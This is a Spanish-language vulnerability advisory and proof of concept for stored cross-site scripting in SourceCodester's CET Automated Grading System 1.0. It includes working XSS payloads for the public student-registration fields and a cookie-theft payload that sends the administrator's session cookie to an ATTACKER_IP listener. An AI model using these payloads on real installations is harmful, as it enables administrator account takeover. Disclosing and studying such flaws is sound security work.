
Prueba de concepto para XSS almacenado en SourceCodester CET Automated Grading System 1.0, que demuestra la inyección de payload sin autenticación a través del registro de estudiantes, lo que conduce al secuestro de la sesión del administrador.
| Campo | Valor |
|---|
| Vendedor | SourceCodester |
| URL del Vendedor | https://www.sourcecodester.com |
| Producto | CET Automated Grading System con AI Predictive Analytics en PHP y MySQL |
| URL del Producto | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| Versión | 1.0 |
| Vulnerabilidad | Cross-Site Scripting (XSS) Almacenado |
| CWE | CWE-79 |
| Puntuación CVSSv3 | 8.8 (Alta) |
| Vector de Ataque | Red |
| Autenticación Requerida | Ninguna (El auto-registro de estudiantes es público) |
| Víctima | Administrador |
| Interacción del Usuario | Requerida (El administrador visita el panel) |
| Investigador | Imad Alvi |
| Fecha | 2026-04-13 |
Archivo: PersonalAGS/index.php?action=register (Registro de Estudiantes)
Parámetros: student_id, full_name, section, username (POST)
Se activa en: PersonalAGS/index.php?action=dashboard (Panel de Administración)
El portal de auto-registro de estudiantes en CET Automated Grading System 1.0 no sanitiza ni codifica la entrada proporcionada por el usuario antes de almacenarla en la base de datos. Un atacante sin autenticación puede registrar una cuenta de estudiante con payloads de JavaScript inyectados en cualquier campo del registro. El payload malicioso se almacena en la base de datos y se ejecuta en el navegador de cualquier administrador que visite el panel donde se listan los estudiantes inscritos.
Esta es una cadena de ataque crítica: no se requiere autenticación para inyectar el payload, pero se ejecuta en un contexto administrativo privilegiado, lo que permite el robo de cookies de sesión y la toma completa de la cuenta de administrador.
Navegue a la página pública de auto-registro de estudiantes:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
Complete todos los campos con payloads XSS y haga clic en Registrar Cuenta:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
El registro se completa correctamente: los payloads se almacenan en la base de datos.
Cuando el administrador inicia sesión y visita el panel, el payload inyectado se ejecuta inmediatamente. La ventana emergente de alerta se activa y el diseño de la página se rompe visiblemente por el HTML inyectado, lo que confirma que el payload se renderiza sin sanitizar en el panel de administración.
Los encabezados de sección del panel también reflejan los valores inyectados:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
Un atacante puede escalar esto a un secuestro completo de la sesión del administrador utilizando el siguiente payload en los campos de registro:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
Configure un listener en la máquina del atacante:
python3 -m http.server 8888
Cuando el administrador visita el panel, su cookie de sesión se envía al servidor del atacante, lo que permite la toma completa de la cuenta.
Un atacante sin autenticación puede:
No se requiere autenticación para inyectar el payload. El ataque se ejecuta automáticamente cuando cualquier administrador visita el panel.